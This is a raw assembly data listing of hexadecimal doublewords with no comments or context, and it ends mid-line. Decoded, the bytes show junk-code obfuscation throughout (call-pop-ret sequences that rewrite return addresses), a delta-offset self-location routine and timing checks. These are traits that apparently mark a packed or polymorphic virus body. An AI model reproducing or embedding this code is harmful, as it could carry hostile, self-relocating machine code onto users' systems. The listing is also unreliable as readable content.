0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 2EC35141h, 8EEE8166h, 0F2BF0F3Fh, 9529D82Bh, 6131DADh dd 6810F58h, 8B000000h, 133045B5h, 0FD82B06h, 18888h, 0BE900h dd 9A440000h, 5AECBD93h, 8BCB15D3h, 7B948h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 60B28C3h, 1F45BD01h, 0C1830613h, 0AE800h, 0F0800000h dd 0CF2EF1E1h, 0F9D04D30h, 45DE8166h, 0D93B5F8Eh, 12F860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 5A1C0DC3h, 0D98C6663h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 1DC35747h, 0ABFD2AEh, 0E9F9B503h dd 11h, 4BD0CFCEh, 0CCA841B7h, 3594B863h, 14428D92h, 4C1F685h dd 0A2840Fh, 0BF660000h, 95FF1759h, 6132111h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1CC35343h, 24CD2547h dd 800F4287h, 5, 2CEF8166h, 8D895BA2h, 6131145h, 0F78BC32Bh dd 8343Dh, 55860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 2FDC351h, 3564333Dh dd 0FE99F62h, 38Fh, 0F38B6600h, 4CE9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0B58B923Dh, 6131CCDh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0E43885C3h, 8910498Ah dd 131DADBDh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 7479257Bh, 9CD6C10h, 130EB58Dh dd 3985C706h, 0F7061306h, 0BF7E0D5Dh, 6615D95Fh, 8166C08Bh dd 81FBCDE7h, 130B21BDh, 7D006h, 0D850F00h, 0F5000000h dd 349DB58Bh, 85FF0613h, 6130B21h, 0B21B5FFh, 0BD8B0613h dd 6130D11h, 0DA995FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CCE76BC3h, 2A4DBD89h dd 0F900613h, 8Dh, 0B9B58B00h, 31061300h, 1313D995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 59C6815Bh, 0BF08C9D3h, 4AA279B5h, 3C54E681h, 6A54ADh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0AEEA46C3h, 870FA1h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B3E1C357h dd 808BA33Eh, 8B131D36h, 1325DDBDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 44239F5Ch dd 0F8367551h, 0ED9589C8h, 6A06131Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E18AC351h dd 0E9237E8Bh, 13h, 0C03AEC9Dh, 0D93B6CB6h, 0B2D3491Fh dd 19A4EEDEh, 6AE6C86Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E926C357h, 0Dh, 11B8D620h dd 45622B78h, 0F49D46F6h, 0E9F98BE7h, 0FFFFF814h, 0DE8h dd 534D8500h, 0F10D72E1h, 0A1A5A902h, 8D89EBABh, 6131311h dd 0DE95Fh, 950E0000h, 49BC1D69h, 0C8505F82h, 89DB59E1h dd 131F09BDh, 89C18B06h, 131B6D9Dh, 4EB06h, 66000000h dd 0B9C4CE81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 80C35646h, 7F02F7C7h, 10D9BD33h, 0CF810613h, 77BA7BA4h dd 1EA9858Dh, 0BF660613h, 605035F9h, 11E8DC8Ah, 7B000000h dd 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h, 6159CE8Bh dd 0F240489h, 58Bh, 0C6816600h, 6A54E1h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0D6C35545h, 8B4ED891h dd 1323A1B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0FA73C352h, 0EF858D73h dd 89061713h, 13177D8Dh, 0C7DE8106h, 834DFE8Bh, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 899AE6C3h, 132965B5h, 50565006h, 5E852h, 62020000h dd 5EF4C5F6h, 585A310Fh, 2404895Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 48C35747h, 0EEFB0571h, 0FAB70F3Fh dd 1ED1B58Bh, 6A0613h, 10E9h, 42A8C700h, 24090161h, 0E5075C3h dd 0E646412Dh, 6A006AAFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FF3CC351h, 1307F195h dd 79BD0306h, 8D061312h, 16A36A9Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C9C4912Ah dd 0BA29BFBFh, 29D3FF70h, 13353995h, 0D985FF06h, 89061316h dd 132CB9B5h, 7CCE906h, 0E80000h, 5D000000h, 13F9ED81h dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0AFBB7BC3h, 7E8CAF2h, 49000000h, 27EC5838h dd 953195A1h, 6132819h, 21BD815Fh, 0D006130Bh, 0F000007h dd 19A86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BF66E14Ah, 9D8B7DABh, 6133251h dd 0E381FCh, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 37F1C357h, 3C8C0C46h dd 0B375F7Fh, 0D6850FDBh, 0F000000h, 688h, 0D9952900h dd 83061306h, 171245BDh, 840F0006h, 44h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h dd 8975A47Ah, 13113D85h, 858D8906h, 0E9061319h, 0B7h, 0FE9h dd 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh, 124585C7h dd 10617h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 9DEB8CC3h, 0C2C7E587h, 85FBBFE4h dd 6CE927DCh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0E901C351h, 8, 0FC221182h dd 40A73ECFh, 14E9h, 0BFF7FA00h, 91CD4019h, 28B5B065h dd 281AC02Eh, 6743B5EDh, 4585C767h, 61712h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 8ABC352h, 8D465F08h, 1332519Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F10F0E9h, 81F5F6B7h, 0FFFEFF23h, 0BE8FFh, 0DDC20000h dd 6EFD72F1h, 221DBF5Bh, 665EF810h, 0F6FCDB8Ch, 840F04C3h dd 63h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch dd 0B2C35747h, 8A5F9C3Fh, 5EA97F2h, 9F2B70Fh, 13110D85h dd 1195FF06h, 8B061321h, 800F50F3h, 2, 489FB8Bh, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0DDB58B03h, 0E9061316h, 3EFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0D9C35646h, 0B0F28B66h, 61B58B00h dd 0E6061323h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 6F578C15h, 93DB1386h dd 8971E4ECh, 130619BDh, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 1CC35646h, 0CE01CC06h, 5A77361Ah dd 219D896Ch, 66061316h, 6BAF18Bh, 31000000h, 132EBD9Dh dd 89C38B06h, 130F599Dh, 4E8C106h, 208DBD8Bh, 0F7660613h dd 0D78166E2h, 0D82B70E7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0AFC35141h, 533F4F01h, 0BE934B9Bh, 51E82AA9h dd 2A19BE50h, 6A930F0Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0D812C351h, 0BD8BBB19h dd 6130E55h, 0B21B5FFh, 9D090613h, 6133151h, 0DA995FFh dd 870F0613h, 6, 30318D89h, 0B00613h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 96C35646h, 597537Bh, 39621781h dd 68F0F12h, 29000000h, 131F19B5h, 8B70E606h, 6A71E4F2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0F18AC355h, 0F373901h, 613CFFB7h, 26D830Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 37621DC3h, 23AB0701h, 132135BDh, 0D8B60F06h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8BC35242h dd 7350B09Ah, 0F345F86h, 388h, 0F7BF0F00h, 6BAh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A67D2C48h, 81F68E8Dh, 0F65E63EFh, 0CE96Bh, 0CA990000h dd 0B261F503h, 5E123514h, 0C38B9738h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0DFC35545h, 0D2694095h, 558589A0h dd 0C106130Eh, 0F76604E8h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0CB00FF00h dd 2958D82Bh, 131D55BDh, 0FD82B06h, 17A88h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 3A0662F2h, 0E15F99C2h, 0B529B5C6h, 613011Dh, 7B9h, 0F78B6600h dd 6600C183h, 3BF858BFh, 38860FD9h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E0C3C357h, 0DE9EB95h, 56000000h, 5993B6A1h, 0AB5F83D5h dd 3C086FD9h, 8BD98C66h, 130C69B5h, 4C1F606h, 0BF840Fh dd 0BE80000h, 35000000h, 10699ECCh, 0FBB1DF8Bh, 8E0F2BFAh dd 6, 3549B58Bh, 0FF5F0613h, 13211195h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8953C4D1h, 130A8585h, 6A5B5F06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0ADABC357h dd 0C98ED68Eh, 17D880CDh, 7E8h, 72879400h, 10931FA3h, 1FBDB58Bh dd 2B5E0613h, 11B50BC3h, 3D06130Bh, 834h, 2B860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 10B0DAC3h, 3CE9EDE8h, 89000000h, 130C158Dh, 6AC08B06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0B2F3C357h, 0E99B2C3Eh, 0Fh, 3244946h, 0A3CDEAAFh dd 358B5E0h, 8B7E8AC3h, 0E9D88BC3h, 14h, 0C6BE9F01h, 610904C4h dd 0FFBA0FFEh, 0AFA24D1Ah, 0DB0685F3h, 2CD585C7h, 175D0613h dd 85897DC2h, 6131DEDh, 0BD8BC08Bh, 61311BDh, 0B21BD81h dd 7D00613h, 850F0000h, 0Eh, 0B2185FFh, 33560613h, 131CD9B5h dd 0B5FF5E06h, 6130B21h, 0FFF1BF0Fh, 130DA995h, 0C6819006h dd 3A815682h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A5C35242h, 5E596A70h, 0B5012435h, 61301E9h, 0F2B70F51h dd 0A5B5295Eh, 6A06131Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F05C352h, 0C81h, 6890F00h dd 2B000000h, 131EC1B5h, 8589FC06h, 61323B9h, 53006AF8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 108923D2h, 12E96Bh, 0DDF90000h, 7801CEF6h, 1BD70ABBh dd 0BA3E9889h, 30C7B338h, 74A784BEh, 0BD8B523Fh, 6131D85h dd 6AF38B5Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 85F8C352h, 2B3F97FDh, 0B58B65ABh dd 61324C5h, 1F51BD8Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 25A8A0C3h, 48CABCC8h dd 0B58BCB28h, 6132379h, 0F83CE9FCh, 0B58BFFFFh, 6131BA1h dd 0C18BF78Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 1AC35343h, 3C38EDBDh, 4EB6Bh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0F534C357h, 4A9752ECh, 9D897503h, 61314F5h, 3800Fh dd 8B660000h, 51006AFBh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 93EA5DDCh, 8BF1680Dh, 130BC5B5h dd 0A9858D06h, 6A06131Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F68EC353h, 0A6C3FFB9h dd 0CCBA6090h, 0F7756A2h, 289h, 61616000h, 6A9050h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 705CDBC3h, 6A401Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h dd 0EAC35646h, 893E8A83h, 131BCDB5h, 38E78106h, 6A4C182Dh dd 0BCBF6600h, 86858D7Eh, 5606171Dh, 1471BD09h, 895E0613h dd 131A51BDh, 5C08306h, 45DF8166h, 0D9BF50DBh, 8915EEE1h dd 0BD8B2404h, 613351Dh, 8501006Ah, 6132BD1h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 38D464C3h, 880Fh, 95FF0000h, 61307F1h, 0F49B533h, 9D8D0613h dd 616A36Ah, 34DF8166h, 6AD3FF69h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0EE60C355h dd 61BD4696h, 1689BD8Bh, 7E80613h, 4C000000h, 69D8C273h dd 0B8BE469Ah, 5F31C987h, 16D985FFh, 85890613h, 6133521h dd 761E9h, 0E800h, 815D0000h, 171D90EDh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 51B19506h, 0FCBF5F58h, 8130517Eh, 130B21BDh, 7D006h dd 860F00h, 89000001h, 1304EDB5h, 0F99D8B06h, 66061305h dd 24DACE81h, 0FDB58956h, 5F06130Ah, 100E381h, 9CBE0000h dd 0F56CF4Bh, 886h, 0B58B5600h, 6130F01h, 0FDB0B5Fh, 5C85h dd 0F3B70F00h, 1BE5BD83h, 0F000617h, 1784h, 6E9FC00h, 3F000000h dd 0C1FAC9D5h, 4BE926h, 85090000h, 6131949h, 1BE585C7h dd 10617h, 0BD890000h, 613214Dh, 30E9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 58317D19h, 0E585C7BFh, 6171Bh, 29000000h, 130FF18Dh dd 0F99D8D06h, 6A061305h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0A6FDC350h, 5022DD0Dh dd 0F5952955h, 81061315h, 0FFFEFF23h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 4C6BDB0Bh, 816675AAh, 66616AF6h, 6ADB8Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 37462C3h dd 88A82DFFh, 0F6FA8B66h, 840F04C3h, 3Eh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EBC35545h, 0E72B1B69h dd 53BCFF0Ch, 211195FFh, 0BF0F0613h, 0BF6690FBh, 6650AF51h dd 90ACDABFh, 0ED9BD89h, 99E90613h, 66000003h, 0B0DDD9BFh dd 0E9BD8B00h, 0E6061306h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 210316D3h dd 0B86C0DCFh, 0B5896B57h, 6131451h, 6A71E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CFDBDFC3h dd 0D2AF9BA7h, 0F1BD8BF6h, 0F061334h, 6AD8B6h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0E5EAF7C3h, 5BFC2ECCh, 899D3145h, 0BA061307h, 6, 1D958957h dd 5E061315h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 1EE4BCC3h, 25B07523h, 0E78166F8h dd 8A0FC632h, 1, 4E8C1F8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 9DC35040h, 6171CC56h, 0BEE2F766h, 6F7AB6B5h dd 9589D82Bh, 61323C9h, 241C8950h, 4E1BD2Bh, 0B5FF0613h dd 6130B21h, 95FFF38Bh, 6130DA9h, 164DB589h, 0B00613h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h dd 14AFCD3Eh, 0E6F78B66h, 0C5BD8B70h, 0E4061311h, 51006A71h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0EE8575Ah, 6E000000h, 9751B6BFh, 0A3260943h, 0BE740B3h dd 99B52387h, 5E061301h, 0F613C5Eh, 20B83h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C1BD0120h, 8906131Bh, 131F519Dh, 9BD8906h, 0F06130Eh dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 8E6984C3h, 1E7A8D5Ah, 6BAh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 820FC652h, 5, 84B722BEh, 0FE8B667Eh, 8E0FC38Bh, 6, 0BE18589h dd 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0A23E5EBh, 0EF3E478Fh dd 0D7BE66D4h, 0E2F766CEh, 15419D31h, 0BD290613h, 613134Dh dd 0BE9D82Bh, 42000000h, 3E68A4CFh, 6DFD6B8Ah, 0BF58B587h dd 43452725h, 880FD82Bh, 120h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0BC35141h, 23FD8531h, 7B90613h dd 0F5000000h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 2B2FC353h, 0D93B84FBh dd 0CE860Fh, 0BD8B0000h, 613149Dh, 6AD98C66h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 4A31C352h, 0ACDF109Dh, 0F04C1F6h, 9384h, 6E900h, 0C2120000h dd 230DE401h, 211195FFh, 11E90613h, 0DA000000h, 29BC7D12h dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B58BA778h dd 6131239h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0CA5CB5C3h, 0DBE3E7E8h, 858962C3h dd 6131639h, 8343Dh, 11860F00h, 31000000h, 13295D8Dh, 0EE906h dd 0E7810000h, 152005FDh, 0CF81C08Bh, 3D440BA6h, 0D88BC38Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h dd 85C75F52h, 6133251h, 15F05BD7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0B3C35343h, 6AC08B56h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 954CC352h, 0DDD9593Fh, 668FEB96h, 0BC66E781h, 3111BD03h dd 0BD810613h, 6130B21h, 7D0h, 48850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D5F819C3h, 0F15CEA5Ch, 2185FF43h, 6A06130Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 2E71C356h, 0B5FF024Fh, 6130B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 97C35646h, 0A6485814h, 9C295AA2h dd 0DA995FFh, 0BD330613h, 6130115h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B40E39B6h dd 0A5F3CFE7h, 10DE8166h, 9E92Fh, 8D40000h, 1BC4FB6Bh dd 239D74A4h, 1316C5BDh, 15860F06h, 0E9000000h, 10h, 98EB69h dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 1B998D89h, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 6ED0ECC3h, 0DAB6C610h, 50006A94h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 21C14FC3h dd 0F632EDDh, 0E8Eh, 8E900h, 426F0000h, 753589AEh, 6AF59232h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FA59C351h dd 0CF7711F1h, 60FE9983h, 0D1DB81h, 8D09747Fh, 6132A91h dd 5830Fh, 61600000h, 61D6B70Fh, 0BE9h, 0AD41E200h, 2F06917Ch dd 9522C066h, 0FFF8A0E9h, 0C18BFCFFh, 0FE8h, 0DD347D00h dd 4B1EFCC3h, 0B2234DD5h, 32717F0Eh, 4EB5Fh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 37C3C356h, 0CF444D8h, 0FABF0FDAh, 1EA9858Dh dd 95890613h, 6132C51h, 0BE890h, 0B8CF0000h, 0E3D1C8A0h dd 15DD7E1Dh, 56525035h, 66310F5Fh, 5A4F90BEh, 8B505E58h dd 816690F1h, 6A0796DEh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 5A77361Ah, 2D1A5F6Ch dd 7E955h, 0E4E40000h, 83B40A86h, 6A006A6Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 7279C350h, 5491DAF5h, 858DD185h, 617271Dh, 0FE9h, 0E2798B00h dd 7ACBBECAh, 30E5E6ACh, 2F725B03h, 6A05C083h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0F0E8C351h, 0BA65E319h, 0C4F3C09Dh, 90FA8B66h, 0DE8h dd 5ABAD000h, 69892A11h, 6E68B499h, 0F28BBB18h, 12E9505Eh dd 0A7000000h, 0DF3E37F9h, 3056E9CAh, 5F6A22Ah, 61DE4F3Ah dd 0BD8B9045h, 6130981h, 7E8006Ah, 0B5000000h, 4981F62h dd 0B531BA9Dh, 61310A5h, 0E9006A5Eh, 0Eh, 28AE13ABh, 803F0621h dd 50178F5Ah, 95FF91F0h, 61307F1h, 8B0Fh, 9D8D0000h, 616A36Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B7C35646h dd 9529B77Eh, 6130B6Dh, 0C52DBF66h, 6AD3FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F8AD45C3h dd 0ED632F89h, 29983F4Eh, 1316D585h, 0D985FF06h, 6A061316h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0C9C350h, 6B41F8B5h, 9E8h, 0A32A7300h, 0D6022C57h dd 0BD338F6Ah, 6132B89h, 0AE85Fh, 0D480000h, 0BD775FBFh dd 0C72390E8h, 9E9h, 0C710D500h, 0B2812647h, 0E95F62F4h dd 808h, 0E8h, 0ED815D00h, 6172727h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0ACC35747h, 1CD304Fh, 6870FFDh dd 89000000h, 131A31B5h, 21BD8106h, 0D006130Bh, 0F000007h dd 14F86h, 91BD8B00h, 8B06130Eh, 1316A19Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 81CF2579h, 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 870BE740h, 0AE93633h dd 21000000h, 0BF9B9739h, 56ED9B5Dh, 0FDB0B9Ch, 6E85h dd 5BD8300h, 61725h, 35840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 41C2D2C3h dd 8B2DEF8Dh, 1330D5BDh, 618D2906h, 0E9061319h, 73h, 0C7F2B70Fh dd 17250585h, 106h, 61E900h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C776F6C3h dd 17250585h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 880F2870h, 0Dh, 8E9h dd 0F1680D00h, 5F0ED217h, 48F0F4Ch, 66000000h, 8DAC61BEh dd 1316A19Dh, 0C1BD8B06h, 8106131Eh, 0FFFEFF23h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B58BA569h, 6132129h, 8BDB8C66h, 130081B5h, 4C3F606h dd 83840Fh, 0BD8B0000h, 61309BDh, 211195FFh, 6A0613h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0DBF903C3h, 35D0B911h, 0FE9h, 860C0000h, 2ABD262h, 5B0D8C2Bh dd 3D79FC14h, 4FBE6650h, 24048908h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 91C35242h, 5F79BE08h, 0DD1BD01h dd 7E80613h, 7F000000h, 0C9AF7855h, 9D29761Ch, 61306C9h dd 40AE95Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 506B3FC3h, 0EB5122E4h, 7E9E0h, 33330000h dd 0EF773182h, 0D9950197h, 0B0061306h, 0FFB70F00h, 0BF0F70E6h dd 8B71E4FAh, 130E65BDh, 0D8B60F06h, 0E5B243BEh, 6BAF910h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 196CC351h, 89C38BE7h, 1318A9BDh dd 4E8C106h, 0FE8h, 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh dd 0E2F7665Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 61C35646h, 93E59BD5h, 6AD82Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFBACFC3h dd 89021162h, 3181B58Bh, 50930613h, 6A93FE8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5CF8C357h, 28D1BF7Fh, 21B5FFEAh, 6A06130Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7BD7C352h, 11E9E2h, 3B8B0000h, 15117FEEh, 71FB26D1h dd 30630476h, 66341D71h, 0FF675FBFh, 130DA995h, 0E5B58B06h dd 0B0061309h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E661724Dh, 57006A70h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 50F6C7C9h, 6EE056D9h, 0ED950960h, 66061305h, 0E4C9F8BEh dd 8E871h, 3BA60000h, 7B7B3E3Bh, 8B609786h, 616160D1h dd 0F613C5Eh, 24B83h, 0F6816600h, 0B60F9C7Eh, 6BAF9D8h dd 9000000h, 131B09BDh, 6AC38B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A23BC351h dd 5F91671Dh, 9D5B52Bh, 0E8C10613h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 64AAD5D6h dd 0A5C68166h, 6830F05h, 8B000000h, 131E19B5h, 0E2F76606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6DC35646h dd 5D56EC79h, 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 5803C350h, 31DDB503h dd 0D82B0613h, 18A880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 47BB93C3h, 113B49Ah dd 97BE47CBh, 513F2398h, 1741B58Bh, 0B95F0613h, 7, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2DC35242h, 0DF8166F4h dd 0B70FCBF6h, 0F78B66FBh, 6A00C183h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 